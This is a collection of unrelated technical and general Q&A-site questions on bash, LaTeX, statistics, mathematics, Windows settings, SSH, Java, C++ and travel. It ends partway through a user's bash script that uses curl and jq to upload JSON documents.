I understand the following error is due to ! used for history expansion:  $ echo "Hello!Tim" bash: !Tim: event not found   However if I put the command into a script and run the script, there is no problem:  $ cat myscript echo "Hello!Tim" $ bash myscript  Hello!Tim   Why is that? Does the bash manual mention the reason?


Please allow image uploads directly onto the site

Sometimes images are required to ask questions. Currently images need to be stored on external servers. If the image gets deleted, or the server goes down the question could become far less useful to other people encountering it. I would expect that uploading images would cost reputation, or have a required minimum level to keep spam away. Being able to inline display said uploaded  image would be a plus as well.


Name of animated series with enemies being half brothers

I am looking for an animated series I watched when I was little, beginning of the 2000's. I think it was on one of the channels offered by Canal+ (French encrypted television channel).  It was a western-style animated series, in a post-apocalyptic setting. For all the following points, I am not sure if they are true or not, as I was quite young:   the hero is a badass guy that flies a red plane; he is recruited/asked/? by the city of the good people; the prince of this city looks very similar as the prince of the city of evil people; it is revealed later that they have the same mother, and are half-brothers; the king/chief/? of the evil people has orange or yellow eyes.   I am not sure anymore for any of this and every time I ask around, nobody knows about this series.


Is it possible to climb Mt. Fuji in November?

I understand this is outside of the climbing season. It appears to be legal and the risks are higher, but I'd like to know if it's even really possible or is snow usually too deep at this time and temperatures too low to even consider it. I climbed Mt. Kilimanjaro last year so I have a good idea of what these treks are about. Do any guides operate in November?


I try to write footnote in my file as  \footnote{http://chasen.org/\~taku/software/yamcha/}   But the tilde is compiled as /âˆ¼ in my web browser. So it can not reach the webpage.  I tried using package URL as following, but the same problem occurs.  \footnote{\url{http://chasen.org/\~taku/software/yamcha/}}   Any suggestion ?


Is imklaunchagent virus or Apple system file?

My client suspects the imklaunchagent damages his computer. I did some research but found two explanations. One is Apple's system file and the other is virus. Which one is true? Apple System File? claim 1  man imklaunchagent" in Terminal.app says: imklaunchagent is automatically invoked to launch input methods that are selected via direct user inter- action. It is not intended to be invoked via other means and must not be terminated. imklaunchagent monitors abnormal behavior and will disallow an input method from launching if it repeatedly terminates unexpect- edly within a short timespan.  (Reference: ) claim 2  Do you happen to write in, say, Chinese or Japanese? I think the process you are mentioning is part of Apple's Input Method Kit framework ( ), which is used to support languages that use complex scripts. The program itself is located in: /System/Library/Frameworks/InputMethodKit.framework/Versions/A/Resources/imklaun chagent (Reference: )  claim 3 (see answer, not the question)  It's a standard macOS process. If you ever google a process name & all you get are 'malware removal sites trying to sell you something'… think twice about why. If the threat was real, the make-a-quick-buck sites would be far far down the list, well below real issues faced by real people. The process is inside a protected area, in the System folder on the System partition. You'd have to try very, very hard to overwrite it with a malicious component - including rebooting to Recovery & manually disabling SIP. macOS simply will not let a random process anywhere near that area, even with admin permission.  (Reference: ) Virus? (Reference: )


How to fix Wine Staging installation problem? Ubuntu 18.10

I've looked at every possible forum and still can't figure out why this is happening:  The following packages have unmet dependencies:  winehq-staging : Depends: wine-staging (= 4.4~cosmic) E: Unable to correct problems, you have held broken packages.  I've uninstalled wine multiple times and reinstalled it multiple times to combat this issue, but nothing has helped. Can anyone please help me fix this so I can rip some Overwatch.  Edit: Used lutris alternatively, can now play OW.


How to make modprobe nf_conntrack_ftp persist a reboot on CentOS 7 and firewalld?

I'm stumped. I've seen the  about editing /etc/sysconfig/iptables-config, but I'm running CentOS 7 (and webmin/virtualmin), which uses firewalld instead of iptables.  How do I get modprobe nf_conntrack_ftp to persist after a reboot? I tried setting up a cron on reboot to issue the command, but that didn't work (and is probably the wrong way to go about it anyway).  Right now after every reboot I have to login and type in the command manually in order to get FTP connections to work correctly.  Thanks.


Question:-Prove that $$\int_0^1( \ln x)^2 \frac{1+x^2}{1+x^4} \, dx=\frac {3\sqrt{2}\pi^3}{64}$$  My attempt:  $$\int_0^1 \left( \ln\frac{1}{x}\right)^2 \frac{1+x^{-2}}{x^{-2}+x^2} \, dx$$  Put $\left(x-\frac{1}{x}\right)=t$, we get  $$\int_{-\infty}^0\left( \ln\frac{(t+\sqrt{t^2+4})}{2}\right)^2 \frac{1}{t^2+2} \, dt$$  After that I got stuck.  Can anybody help me!


Let $G$ be a group of order 24, and we shall assume there there exist a non-normal 2-sylow group in $G$. i want to show that it's not simple.  first i have showed that there are exactly three 2-sylow group's.   and now i am trying to show that there is a non trivial homomorphism from $G$ to $S_3$. i know that $S_3\cong D_3$  and indeed there are three 2-sylow groups in $D_3$ , the reflection's. and there is one $3-$sylow group in $D_3$  so i wanted to creat a homomorphism that take the different p-sylow groups in $G$  and set them in right $p-$sylow group's in $D_3$  but for that i need to show that the intersection of every two $2-$sylow gouts in $G$  is trivial. and i can't manage to do that....


Prevent from installation of unwanted upgrade updates in Windows 7

Windows 7: I twice uninstalled Update for Miscrosoft Windows KB3035583, but it was repeatedly installed, although it has been marked "Hide update". Additionally, settings for install updates was set "Check for updates but let me choose whether to download and install them" - so Windows completely ignored this settings. Also, although I marked optional update "Upgrade to Windows 10 Home" as "Hide update", the checkbox was unmarked by itself after short time, even without rebooting PC. How to reliably disable this updates?  I applied the following keys, but it's still not helped:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\OSUpgrade] "AllowOSUpgrade"=dword:00000000 "ReservationsAllowed"=dword:00000000  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\OSUpgrade\State] "OSUpgradeState"=dword:00000001 "OSUpgradeStateTimeStamp"="2015-08-06 19:53:58"   Edit: I tried play with update settings, changed it from "Check for updates but let me choose.." to "Never check for updates", then after some time changed it back to "Check for updates but let me choose.." - and seems this helped. KB2952664 has been moved from "Important" to "Optional" updates, and KB3035583 disappeared completely, and none of updates has been marked for installation. Also picture on Windows Update page has changed color from orange alert color to normal green. So, it seems, this issue somehow linked with Windows Update Client functionality.


Using \overbrace with Minion Math yields the brace being printed over the equation. Latin Modern and TeX Gyre Pagella works fine, so it seems a font specific problem.  This happens in inline and display math; both with XeLaTeX and LuaLaTeX. \underbrace seems to work fine. Could be that the MATH table is incorrect? Can it be fixed somehow with XeLaTex? (For some other reason I can't use LuaLaTeX) \documentclass{article}  \usepackage{amsmath} \usepackage{unicode-math} \setmathfont{Minion Math}  \pagestyle{empty} \begin{document}  \(\vec{e}_{i}=(\overbrace{0,\ldots,0,\underset{i}{1},0,\ldots,0}^{n})\), $i=1,2,\dots,n$  \end{document}


How long can you keep whiskey in the freezer?

Jack Daniels Tennessee honey,  in the freezer for over a year. Is it okay to drink?


I'm requesting something from a database, as a result i get the following object:  "[Ljava.lang.Object;@64a294a6"  What is that? Can I do anything useful with that and convert it into something else?           // FIXME     List singleTasks = Arrays.asList((Object[]) objClient.execute("execute_kw",             Arrays.asList(db, uid, password, "project.task", "search_read",                     Arrays.asList(Arrays.asList(                             Arrays.asList("active", "=", true))),                     new HashMap() {{                         put("fields", Arrays.asList("display_name", "total_hours", "project_id", "user_id"));                         HashMap map = this;                         System.out.println(map.get("fields"));                     }}                 )));      HashMap map = (HashMap)singleTasks.get(0);     System.out.println(map.get("project_id").getClass().getName());    getClass.getName only gives me: "[Ljava.lang.Object;" as result.


I've never seen the following notation before:    What does it mean?  Example in the cost function


Multidomain site with duplicate content for different countries

Our client wants different domains for different countries where they have headquarters. So we would have www.example1.com, www.example2.us, www.example3.com.br, etc. (it is also multilanguage, with /en/, /es/, /pt/ suffixes).  The content is basically the same, except for the news, which are specific to each country and some other contain (videos, image galleries, etc.)  However, the catalogue of products, corporate pages, etc., are the same.  Will Google (or other search crawlers) detect these common parts as duplicate content? Would it affect SEO performance? How could it be avoided or mitigated?


What to conclude from this lasso plot (glmnet)

Following is the plot of glmnet with default alpha(1, hence lasso) using mtcars data set in R with mpg as the DV and others as the predictor variables.  glmnet(as.matrix(mtcars[-1]), mtcars[,1])     What can we conclude from this plot regarding different variables, especially am, cyl and wt (red, black and light blue lines)? How would we phrase the output in a report to be published?  I thought of following:   wt is the most important predictor of mpg. It is negatively affecting the mpg. cyl is a weak negative predictor of mpg. am may be a positive predictor of mpg. Other variables are not robust predictors of mpg.    Thanks for your thoughts on this.  (Note: cyl is the black line which does not reach 0 till very close to it.)  Edit: Following is plot(mod, xvar='lambda') which shows x-axis in order reverse of above plot:


Division rules for other number systems?

How could we make the same division rules for other number systems, like in our decimal system: a number is divisible with 2 if it's last digit is 0,2,4,6,8, by 3 if the sum of digits is divisible with 3, and so on.  Can we do the same rules for g-based number systems too, where g is not 10, and greater than 1?


Why is the Yang–Mills existence and mass gap problem so fundamental?

Ref:   Can anyone please explain why the Yang–Mills Existence and Mass Gap problem is so important / fundamental to contemporary mathematics (and, presumably, theoretical / mathematical physics)?  If possible, please include the following in your answer / response:  (1) Why the problem is so fundamental / important - for both mathematics and theoretical / mathematical physics; (2) How the solution to the problem would impact research in the above two fields; (3) (If applicable) What progress has been made so far in resolving it; (references to papers, books, other resources would be helpful).  I'm an upper-level undergraduate in theoretical physics, and so am seeking an answer / response at such level.


Why do my own edits show up in the suggested edit icon?

So I made a tag wiki edit today, and was surprised to see the little orange box in the Stack Exchange bar appear with a pretty "2" in it.        Upon clicking the box I am told there are no pending edits.      It would be nice if the icon didn't appear when it's just my own edits awaiting.  I'm sure someone has addressed this before, but I couldn't find it, probably because I'm not sure what to call that orange box/icon


Can I import photos from iPad to iMac that aren't in camera roll?

I lost all data on my iMac recently, including some 1500 photos.  These photos were synced to the iPad from iPhoto on my iMac.   How can I transfer them back to my iMac since they are not in the camera roll on my iPad?


First, here's a material that made me keep thinking about this issue in the first place.        He seems as if he hasn't slept for days   because of a tough project he has been working on, he stayed at the office for days. So, he hasn't slept for days.      He seems as if he hadn't slept for days.    He has slept quite well, but he looks tired like a person who hasn't slept for days.   I'm trying to figure out how to use 'as if' more concisely. If you could help me, it would mean the world to me.   Thanks in advance


Adding multiple jars to classpath on commandline

I'm running Ubuntu and want to execute a Java file from terminal by including multiple jar files.   All my jars are included in tha jar folder.  I tried  javac -cp jar/A.jar: jar/B.jar: jar/C.jar: jar/D.jar MyFile.java   I get below error.  javac: invalid flag: jar/B.jar: Usage: javac <options> <source files> use -help for a list of possible option   Can anyone guide how to use multiple jars in classpath ?


Why do upvote on questions fetch different reputation than upvote on answers?

An upvote on a question fetches +5. Whereas an upvote on an answer fetches +10. Why is this so? Isn't asking the right question important to get the right answer?


What is "power per unit frequency" in black body radiation?

What is the meaning of power radiated by a black body per unit frequency? If you have a black body with a frequency filter around it set to 530nm and you calculate the energy radiated in 1 second  you will get a definite (not a differential) value. So where does "per unit frequency" come from? What is its physical meaning? Edit: There is a physical anamoly in my argument as, suppose, at 530 nm we get 5 watt energy, so at 530.01 nm the power will approximately be the same 5 watt, and similarly for 530.001nm. But I still don't get the flaw in my argument (even though I get that the result is wrong). What is it that I am missing?


I installed fresh copy of Windows 8.1 last night and installed latest display drivers for my ATI card. When checking for Windows updates as an optional update i saw there's ATI's display driver and now i don't know should i install it or keep manufacturers latest (13.9)?     Advanced Micro Devices, Inc. - Graphics Adapter WDDM1.3 - AMD Radeon   HD 6800 Series Download size: 112.5 MB   I'm no sure why windows shows me that update, there's no chance those drivers are newer than these already installed.


I have a binary response variable and a categorical predictor variable. If I test for associations between the 2 variables using chi-square test , it turns out to be significant. However, if I do a logistic regression with the same set of variables, the predictor is not significant. Why does this happen?    table(Data1$pred,Data1$target)                              0    1   Level1                    1    0   Level2                    4    0   Level3                   98    1   Level4                 2056   22   Level5                    1    0   Level6                    2    0   Level7                  311    0   Level8                    6    1   Level9                  131    7   Level10                  49    2    chisq.test(table(Data1$pred,Data1$target))    Pearson's Chi-squared test    data:  tabletable(Data1$pred,Data1$target)   X-squared = 34.2614, df = 9, p-value = 8.037e-05   Logistic Regression on the same    logit.glm <- glm(as.factor(target) ~ pred,                                  data=Data1, family=binomial(link="logit")   summary(logit.glm)   Deviance Residuals:      Min       1Q   Median       3Q      Max   -0.5553  -0.1459  -0.1459  -0.1459   3.0315      Coefficients:                   Estimate Std. Error z value Pr(>|z|)   (Intercept)   -2.057e+01  1.773e+04  -0.001    0.999   Data1Level2   -6.313e-06  1.982e+04   0.000    1.000   Data1Level3    1.598e+01  1.773e+04   0.001    0.999   Data1Level4    1.603e+01  1.773e+04   0.001    0.999   Data1Level5   -6.312e-06  2.507e+04   0.000    1.000   Data1Level6   -6.312e-06  2.172e+04   0.000    1.000   Data1Level7   -6.312e-06  1.776e+04   0.000    1.000   Data1Level8    1.877e+01  1.773e+04   0.001    0.999   Data1Level9    1.764e+01  1.773e+04   0.001    0.999   Data1Level10   1.737e+01  1.773e+04   0.001    0.999    (Dispersion parameter for binomial family taken to be 1)     Null deviance: 356.09  on 2691  degrees of freedom    Residual deviance: 333.06  on 2682  degrees of freedom    AIC: 353.06     Number of Fisher Scoring iterations: 19


Add a Texture to an Object using Python and Blender 2.8

i have trouble to get a script working within Blender 2.8. The following function work perfectly for me in Blender 2.79, but not in 2.8.  def CreateMaterialFromImage(matName, imgPath):     '''Creates and returns a material from an Image'''     realpath = os.path.expanduser(imgPath)     try:         img = bpy.data.images.load(realpath)     except:         raise NameError("Cannot load image %s" % realpath)      # Create image texture from image     cTex = bpy.data.textures.new(matName, type='IMAGE')     cTex.image = img      # Create material     mat = bpy.data.materials.new(matName)      # Add texture slot for color texture     mtex = mat.texture_slots.add()     mtex.texture = cTex     mtex.texture_coords = 'UV'     mtex.use_map_color_diffuse = True     mtex.use_map_color_emission = True     mtex.emission_color_factor = 0.5     mtex.use_map_density = True     mtex.mapping = 'FLAT'     return mat   It seems to be that the material.texture_slots were removed.  Under following Link  i found the note:        Texture slots for materials, lamps and world were removed. They remain   for brushes, particles and freestyle linestyles.      So my question is where do i find this property now or how could i change my code to get things done?  Thanks for your help!  EDIT:  This seems to be an interesting link for people run in to issues by updating their scripts to 2.8. Unfortunately there is no solution for my problem listed, yet.


Difference between reputation since last view and actual

A downvoted and subsequently removed post showed  as being -1, which is clearly wrong.  The  was the only post affecting my reputation since the last view (as can be seen by the yellow shade), so it should have been 0.


pdflatex bash script to supress all output except error messages?

I have a bash script which I use to compile a file with pdflatex twice (to make sure it sorts out references properly, etc.). This is the 'latexbuild' script I use:  module load ctan pdflatex --shell-escape --interaction=nonstopmode $1 bibtex $1 pdflatex --shell-escape --interaction=nonstopmode --interaction=batchmode $1   I would then call this script with latexbuild test.tex. It produces a lot of output which I would like to supress, except for the error messages which I'd like to see. Is there any way to only allow error messages to be displayed?


Exercise about differential forms and pull-back: $\omega_p=0$ if and only if $(\omega|_U)_p=0$

Let $M$ be a manifold, $\omega\in\Omega^q(M)$. Let $U\subset M$ be an open subset embedded as manifold in $M$. Let $p\in U$. Show that $\omega_p=0$ if and only if $(\omega|_U)_p=0$.  Notation: Let $F:U\to M$ be the inclusion map which is an embedding.           $F^*:\Omega^*(M)\to\Omega^*(U)$ be its pull-back. We denote $F^*\omega$ by $\omega|_U$.  Suppose $\omega_p =0$. Then $(\omega|_U)_p=(F^*\omega)_p=dF^*_p(\omega_{F(p)})=dF^*_p(\omega_{p})=0$, where the last equality follows by linearity of $dF^*_p$.  I can't prove the reverse implication. Any suggestion?


Part of the fun of hats is not just earning them, but wearing them (preferably in ). I particularly appreciated the addition of size/position/rotation controls a few years ago.  Would it ever be possible to have my avatar wear multiple hats? e.g....   oh no, I have set myself on fire trying to light the menorah


Contacting Professors and Letters of Recommendation

Last week I emailed a professor from my undergrad whom I was close with to say hi and inform her that my undergraduate thesis had been published. I am currently in a master's program and asked her if she would be willing to write me a letter of recommendation for upcoming PhD applications for next Fall (and it is worth noting that she wrote me a letter of recommendation for the program I am currently in). She has yet to reply and having a letter from her would really strengthen my application. Is it in poor taste to resend her an email, or should I move on? Like I said, I would really like to have her letter as part of my applications.


Which one about the rank and nullity is true

Let $A$ and $B$ be $n$ $\times$ $n$ real matrices such that $AB$=$BA$=$0$ and $A+B$ is invertible. Which of the following are always true?  $1$. rank $(A)$=rank $(B)$.  $2$. rank $(A)$$+$rank $(B)$ =$n$  $3$. nullity $(A)$ $+$ nullity $(B)$ = $n$  $4$. $A-B$ is invertible.  I am not getting how to do. Atleast it is clear that Rank$(A+B)$= $n$. help me!


When I modify /etc/security/limits.conf I get "E45: 'readonly' option is set (add ! to override)"

I'm trying to increase the open files limit for Ubuntu 16.04 version by using vi /etc/security/limits.conf Then I add two lines like:  #* soft nofile 4096 #* hard nofile 4096   But when I use :x to save and exit I get E45: 'readonly' option is set (add ! to override) and it doesn't exit.  When I use nano etc/security/limits.conf to modify it I get:  Error writing /etc/security/limits.conf: Permission denied


Why is matrix multiplication defined a certain way?

Why is it that when multiplying a (1x3) by (3x1) matrix, you get a (1x1) matrix, but when multiplying a (3x1) matrix by a (1x3) matrix, you get a (3x3) matrix? Why is matrix multiplication defined this way?  Why can't a (1x3) by (3x1) yield a (3x3), or a (3x1) by (1x3) yield a (1x1)? I really would like to get to the root of this problem or 'axiomatization'. Thanks.


GLMM multilevel hierarchical model with R

I hope I will get your precious help for my R problem.  I want to study the classroom, the teacher and the school effect/result on the pupil's success (or not) at school. I also want to know the effect of the age, the gender and if the pupils have or not repeated 1 year school on the pupil's success (or not).  The pupil's variables are (fixed effects levels) : the age (11 or 12), the gender (M or F), if they have repeated one year (yes or not), the success (yes or not). The other variables are (random effects levels) : the classroom they belong to (A and B), the teacher they have (K; L; M and N) and the school they belong to (C and D).  Firstly I am looking for the effect of the classroom, the effect of the teacher and the effect of the school on the pupil's success and secondly I want to know the effect of the age, the gender and if the pupils have (or not) repeated one year on the pupil's success.  How can I do my GLMM (hierarchical multilevel model) with R ?  Best,


Windows default app for pdf not taking effect?

EDIT: (Not applicable anymore, question reopened). Why this is not a dupe of the linked question?  The view from the question side: AFAICT (and now I already applied the solution, so I cannot test), in my case the default app change I set never took effect. In the linked question, the title suggests it worked during the current session.  The view from the answer side: The solution there hardly applies here. (Even if it worked, I conceptually think they should not be regarded as duplicates, but this is of minor relevance).  The view from the community side: From the practical standpoint, if tagging as dupe decreases the chances this OP is found, it may be detrimental for others having a problem similar to this one... the search parameters may be (quite?) different from those for the other OP.   I have both Adobe Acrobat X and Adobe Acrobat Reader DC installed in Win 10, and I want my default app for PDF files (e.g. what opens the file with a double-click in Explorer) to be Adobe Acrobat X only for my user.  I found no way to make this work  [Settings → Apps → Default Apps], as when I double-click on a PDF, it opens with Acrobat Reader DC [in Spanish]:  I can Right-click → Open with → Adobe Acrobat and if I select Choose another app instead, what I see is consistent with the screenshot above:  I tried changing the following registry key and now the default app is Edge; so far, I could not revert this:  HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pdf\OpenWithList\MRUList     Is there any way to fix this, either via the Registry or something else?   Possibly related:    a new registry setting in Windows 10 [UserChoice] may be controlling this behavior        ( suggesting the "brute force" approach of changing the executable pointed at in HKEY_CLASSES_ROOT\AcroExch.Document.DC\shell\Read\command)


Is there such a thing as a European SIM card?

This summer I will go on a road trip from West to East Europe and back. Being able to call and especially access the internet is useful on the road, so it made me wonder whether I could buy a European SIM card or something that would let me access the web or make calls regardless of the country I was in.  I know of the provider Mobile Vikings that offers a . Are there any other alternatives? Data is the main priority because calling or texting within Europe isn't that expensive to begin with, with recent regulations. Also I could use the data to call using VOIP anyway, which is even cheaper.


A 'native text' file appears on my desktop whenever I launch Minecraft

Whenever I start Minecraft a file called native text appears on my desktop. It is called 'Native file', and it is just a bunch of locations and junk that makes no sense to me.  If I delete it and start up Minecraft it reappears.  What does this file do? What is it's purpose? Please tell me what is going on. No mater what I do it will still not go away it comes back. Mods and feed the best,etc. there might be something corrupt about my minecraft, profile.


Approaching researchers about collaboration?

This question is quite premature for the current state of my studies, but I already have a few people in mind to which this question applies.  In Academia, would it be considered normal to approach a researcher you respect (who's work has great personal value or interest to you) and suggest that you would be interested in assisting with their future research efforts? In this case, I'm speaking less about full collaboration/co-authorship, and more about being willing to assist with the 'grunt work' of a given research project, purely out of interest in the subject matter.  Would this be construed as insulting to the researcher?  Is this sort of offer commonplace?  Is there an expectation of credential equality in this situation? For example, would it be inappropriate for an Undergraduate student to make such an offer to a PhD?


Why insects are attracted towards light?

Many insects like bees, dragonflies, wasps and other small insects are attracted towards light. Sometimes they are in groups, sometimes they are in solitude. When the light source source is switched off, they do not fly, rather stay still. What causes them to be so attracted towards light?


How do I answer UK visa question about other savings or income?

I am a post-graduate student and I got a scholarship for a training course and to attend a conference in the UK. I totally depend on my father so how should I answer the question about whether I have any other income or savings?


Why can't 3.4 be fully represented in a `double` datatype?

This is astounding that this happens and I don't have an explanation. A simple console application as created by visual studio:  #include <stdlib.h> #include <crtdbg.h>  #include "stdafx.h" #include "ConsoleApplication.h"  int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) {     double a;     a = 3.4;      return 0; // <=======  Debug break point set here }   The value of a is 3.3999999999999999 instead of 3.4. To most programmers this isn't an issue, but why can't the number 3.4 be stored exactly as a double? Thinking about the binary it doesn't make sense.


How to acknowledge a deceased advisor’s contributions to a paper?

One of my advisors suddenly passed away while I was in graduate school.  We had some discussions and ideas about future publications, but he passed away before any of the work was completed.  When the work was finally completed and published, I and my co-authors were therefore presented with an ethical dilemma about how best to acknowledge his contributions to the ideas behind the paper.  Should we list him as a co-author?  Put him in the acknowledgements?  Listing him as an author would give credit for the original idea, however, we would have no way of knowing if he actually approved of—and would want his name attached to—our methods and writing.  In the end my co-authors and I decided to list him as a co-author with a footnote stating that he passed away before publication.  I’m interested to hear from others who have been in similar situations and/or suggestions on what constitutes “co-authorship” when one of one’s collaborators passes away before the publication or work is complete.


How is "/a/./b/../../c/" equal to /c?   I saw this as a question on one of the Stack Exchange sites. Apparently .. means to pop the stack(?). Why is this the case?


I am using a galaxy S5. I have an error that I could only play the game on wifi (not on data). I tried numerous things to fix it including reseting app preferences as suggested by a user on this website. Now I still can't play the game on data plus no roads show up in my town (they still appeared before I reset app preferences) can anybody help me to get the game to work on data or at least to make it so I can see roads again?   Thanks


windows 10 not detecting other disk partions

I had Ubuntu 16.04 And now installed windows 10 and dual booted it , and now both Ubuntu and windows are running fine but windows is not detecting other disk drives


ssh X11forwarding not working , but only on debian8

I recently installed Debian 8 on my workstation , which before ran Ubuntu 15.04 , but after Debian 8 came into my life, I have not succeeded in running ssh with X11forwarding.  case is:  I have a server running Ubuntu 14.04, and when I login to that server from my laptop ( also Ubuntu 14.04 ), I have no problem getting X11forwarding working, but if I try to login from my Debian8 workstation, I will get this error when trying to run xterm (output is from ssh -X serverip )  connect /tmp/.X11-unix/X0: No such file or directory xterm: Xt error: Can't open display: localhost:12.0   A ls shows that the file exists  $ ls -la /tmp/.X11-unix/X0 srwxrwxrwx 1 root root 0 Aug 18 17:53 /tmp/.X11-unix/X0   In the server's sshd_config i have the following options enabled  X11Forwarding yes X11UseLocalhost yes ( i have tried both yes and no here ) X11DisplayOffset 12   and in my ssh_config on my Debian8, I have the following lines enabled  Host * ForwardAgent yes ForwardX11 yes ForwardX11Trusted yes   As I see it with a 'ssh -vv -X serverip' all x11 debug message are the same both on my working laptop, and nonworking are the same, and ~/.Xauthority get created on the server when I login  The following environment variables are set when I log into the server from my laptop ( some variables are omitted )  SSH_CLIENT=1.1.1.1 59061 22 SSH_TTY=/dev/pts/1 SSH_AUTH_SOCK=/tmp/ssh-qHuaV5m5QO/agent.32572 LANGUAGE=en_US:en LOGNAME=xxx SSH_CONNECTION=1.1.1.1 59061 2.2.2.2 22 DISPLAY=localhost:12.0   the following environment variables are set when I log into the server from my debian8 workstation (some variables are omitted)  SSH_CLIENT=3.3.3.3 59148 22 SSH_TTY=/dev/pts/1 SSH_AUTH_SOCK=/tmp/ssh-fwG6aBA4he/agent.32763 SSH_CONNECTION=3.3.3.3 59148 2.2.2.2 22 DISPLAY=localhost:12.0   All tests are done with ssh -X serverip, and firewall is disabled.  Note: if I login to the server from my laptop via the Debian workstation, X11forwarding works fine


Why shows --"cannot pass objects of non-trivially-copyable type"?

You don't have to go through the complete code from the beginning. The problem is in the execl(..) statement inside main. Code is --  #include <cstdio> #include <iostream> #include <cstring> #include <unistd.h> #include <sys/wait.h> #include <vector>  #define li long int  using namespace std;   char TypedCommandInTerminal[1001]; vector <string> ValidCommands,TypedCommand;   void ShowTerminal() {     cout<<"User:$ ";     gets(TypedCommandInTerminal); }   void PushCommands() {     ValidCommands.push_back("mkdir"); }   void GetCommandIntoVector() {     TypedCommand.clear();      char *p = strtok(TypedCommandInTerminal," ");      while(p)     {         TypedCommand.push_back(p);         p = strtok(NULL," ");     } }  bool MatchCommand(string Command) {     li i;      for(i=0;i<ValidCommands.size();i++)     {         if(ValidCommands[i].compare(Command)==0)         {             return true;         }     }     return false; }    int main() {     int status;     string StoredCommand;      PushCommands();     while(true)     {         ShowTerminal();         if(fork()!=0)         {             waitpid(-1,&status,0);         }         else         {             GetCommandIntoVector();             if(MatchCommand(TypedCommand[0]))             {                 StoredCommand = "mkdir";                 if(StoredCommand.compare(TypedCommand[0])==0)                 {                     execl("/bin/mkdir","mkdir",TypedCommand[1],NULL);/*ERROR*/                 }             }             else             {                 cout<<"Command Not Available\n";                 return -1;             }         }     }     return 0; }   I am trying to design a simple terminal using c++ in linux. What I am trying to do here is -- taking this command in console as input - "mkdir ab" . Then I managed to tokenize this string and kept "mkdir" in TypedCommand[0] and "ab" in TypedCommand[1]. Problem is when I write "TypedCommand[1]" inside execl compiler gives an error--"cannot pass objects of non-trivially-copyable type....." I removed TypedCommand[1] and manually wrote "ab" in place of it. The code ran and created a folder named "ab" in the execution directory. So looks like execl is working fine.  I need to pass the second string saved in TypedCommand[1] inside execl in some way...what is wrong here ?


I am trying to ensure my class gets disposed by implementing IDisposable. However I have found that if I close the console by pressing the X then the dispose method is not called. How can I ensure it is called in this instance?  using System; using System.IO;  namespace Testing {     public class Disposable : IDisposable     {         private StreamWriter output = File.CreateText(@"test.txt");          public Disposable()         {             output.WriteLine("Created!");         }          public void Dispose()         {             output.WriteLine("Disposed!");             output.Dispose();         }     }      static class Program     {         static void Main(string[] args)         {             using (new Disposable())             {                 Console.ReadLine();             }         }     } }   You can test this behaviour with the above. If you execute the program and press any key, the program terminates properly and the file will contain:  Created! Disposed!   However if you execute the program and close the console by pressing the X the file will be empty as the stream does not get disposed and/or flushed.


Including an image on a page (possibly with tikz)

I am trying to include an image in my document, and I don't know if I am doing it the right way.  What I want is that on a certain page, I place an image in the background (only being in the background on a small part of the page) AND have it not affect the placement of anything else (so removing the image or reintroducing the background image doesn't change the position of the text in the page).  I have so far been using the tikzpicture environment, though I am not convinced this is the best way to do this.  \begin{tikzpicture}[remember picture,overlay]  \node[xshift=10.5cm, yshift=-3.3cm, opacity=0.3, inner sep=0pt] at (current page.north west) {\includegraphics[width=\textwidth,height=2cm]{myimage.png}}; \end{tikzpicture}   After this code, I have included the text for the page normally.  So the page begins with a title like  \begin{center}      \textbf{\Large Some kind of title} \end{center}   etc etc.  This seems to do what I want, but it slightly shifts the text in the page down.  I thought the overlay command was supposed to prevent this.


Is it possibole to make on the desktop shortcuts to some websites. Using Google Chrome.  The websites where I want to link are: Facebook, my webmail and some others.


I just want to ask a simple question  I created a list of list and want to change one value in the list by index it:  A = [[0] * 3] * 3 print A, A[0][0] A[0][0] = 34343 print A  The result is: [[0, 0, 0], [0, 0, 0], [0, 0, 0]] 0 [[34343, 0, 0], [34343, 0, 0], [34343, 0, 0]]   Why this happens?Where am I wrong?


The Android app crashes when open notification

How could I fix it? It happens both on my tablet and my phone. The app has given me this problem for a week. Before that it worked perfectly.   App Version: 1.0.95 Device Manufacturer: Samsung Device Model: SM-G955F   OS Version: 9 (G955FXXS5DSI6)


Difference between gravity and a flat earth moving up

Flat earthers argue that gravity isn't real because as Einstein said, that if you were in a box in space then you couldn't tell the difference between it suddenly starting to accelerate upwards at a constant speed and gravity being switched on. Is there any experiment that you could do, that would help you differentiate between the two? Something like two falling objects being pulled towards each other?


prove a statement (complements of unions)

I want to prove this statement:  $$(A_1 \cup A_2)^c  =  {A_1}^c \cup {A_2}^c$$  where the $c$ means the complement.  Any help would be greatly appreciated.


Important note: I'm using Cygwin    I retrieve JSON from a file that I alter before sending it to a server using curl. By now everything is ok except one thing, when the server receive the JSON, every special characters (with accents, etc) aren't well encoded. I suppose this was due to the fact that my JSON wasn't encoded in UTF-8 before being sent but I don't manage to convert it.  Here is the code:  sed -i 's/\r//g' $file fileContent=`cat $file`  result=$(jq -c -j ".docs[$docIndex] + { \"_rev\": \"$rev\" }"<<<"$fileContent")            result="{\"docs\":[$result]}"  result=$result | sed 's/\r//g' result=$result | iconv -t "UTF-8" s=$(curl -H "Content-Type: application/json; charset=UTF-8" -H "Cache-Control: no-cache" -d "$result" $2/$3/_bulk_docs --silent)   My bash script and my JSON files are both encoded in UTF-8. My LANG variable seems to be UTF-8. I checked with this: [[ $LANG =~ UTF-8$ ]] && echo "Uses UTF-8 encoding.."  Any idea?    Update  Here is the full script:  #!/bin/bash  # $1 = directory containing JSON files # $2 = server url (+ port) # $3 = database name  #Loop on every file of the given directory for file in "$1"/*; do      #Try to insert every document of a specific JSON file and retrieve their status (200 = OK; 409 = conflict)     allStatus=$(curl -H "Content-Type: application/json" -H "Cache-Control: no-cache" --data-binary "@$file" $2/$3/_bulk_docs --silent | jq '.[] |.status' | tr -d '\r')     docIndex=0      #Loop on every status (one status = one document)     while IFS=' ' read -ra statusArray; do       for status in "${statusArray[@]}"; do          #Remove unwanted windows characters of the file         sed -i 's/\r//g' $file         fileContent=`cat $file`          #Retrieve the id of the current document         id=`jq -r -j ".docs[$docIndex]._id"<<<"$fileContent" | tr -d '\r'`          if [ "$status" = "409" ]         then              #Retrieve the revision of the current document and add it to the document              rev=$(curl -X GET --header 'Accept: application/json' $2/$3/$id?revs=true --silent | jq -r -j '._rev' | tr -d '\r')             result=$(jq -c -j ".docs[$docIndex] + { \"_rev\": \"$rev\" }"<<<"$fileContent")              #Wrap the document inside 